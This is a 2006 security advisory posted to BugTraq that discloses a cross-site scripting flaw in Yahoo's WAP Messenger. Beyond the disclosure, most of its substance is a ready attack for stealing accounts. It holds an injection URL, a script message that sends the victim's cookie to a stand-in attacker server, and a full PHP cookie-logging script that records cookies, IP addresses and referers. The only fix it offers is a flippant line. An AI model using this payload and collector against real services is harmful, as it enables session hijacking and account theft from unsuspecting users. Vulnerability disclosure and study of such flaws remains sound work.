BugTraq
[ECHO_ADV_47$2006] WAP Y! Messenger Cross-Site Scripting Vulnerability Sep 17 2006 09:53AM
erdc echo or id
ECHO_ADV_47$2006

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[ECHO_ADV_47$2006] WAP Y! Messenger Cross-Site Scripting Vulnerability

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Author : Dedi Dwianto

Date Found : Sep, 14th 2006

Location : Indonesia, Jakarta

web : http://advisories.echo.or.id/adv/adv47-theday-2006.txt

Critical Lvl : Medium Critical

Impact : Cross Site Scripting

Where : From Remote

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Affected Yahoo Service description:

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Wireless Application Protocol or WAP is an open international standard for applications thatuse wireless communication.

Its principal application is to enable access to the internet from a mobile phone or PDA.

Yahoo! Have wap site which provide mobile services such as messenger,mail and news via

mobile phone or PDA.

Service : Y! Messenger

URL : http://mm.yahoo.com/

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Vulnerability:

~~~~~~~~~~~~~~

Y! Wap messenger allow user can execute the HTML code if message want to save.

Proof Of Concept:

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[1] Open and login with wap browser ,

url : http://mm.yahoo.com

[2] Goto :

http://mm.yahoo.com/xhtml?k=[id]&u=[your_nick]&s=[your session]&m=[your_nick]_dummymin&c=707&p=&d=[your_friend_id]*[your_nick]*
[random number]*[XSS HERE]

Attacker Stealting Cookie for get Account :

[1] Send message to victim with connected via mobile/wap .

message :

----begin----

Hello , please save my message :)

<script>document.location='http://your-server/get_cookie.php?ambil=' + document.cookie</script>

----end -----

----get_cookie.php----

<?php

$cookie = $_GET['ambil'];

$ip = getenv ('REMOTE_ADDR');

$date=date("j F, Y, g:i a");

$referer=getenv ('HTTP_REFERER');

$fp = fopen('cookies.txt', 'a');

fwrite($fp, 'Cookie: '.$cookie.'<br> IP: ' .$ip. '<br> Date and Time: ' .$date. '<br> Referer: '.$referer.'<br><br><br><br>');

fclose($fp);

?>

----end -----

change permission file cookies.txt to 777

Solution:

~~~~~~~

- Don't Save any message with html code :).

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Shoutz:

~~~

~ y3dips,moby,comex,z3r0byt3,c-a-s-e,S`to,lirva32,anonymous

~ az001,boom3x,mathdule,angelia

~ newbie_hacker (at) yahoogroups (dot) com [email concealed]

~ #aikmel - #e-c-h-o @irc.dal.net

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Contact:

~~~~

EcHo Research & Development Center

the_day[at]echo[dot]or[dot]id

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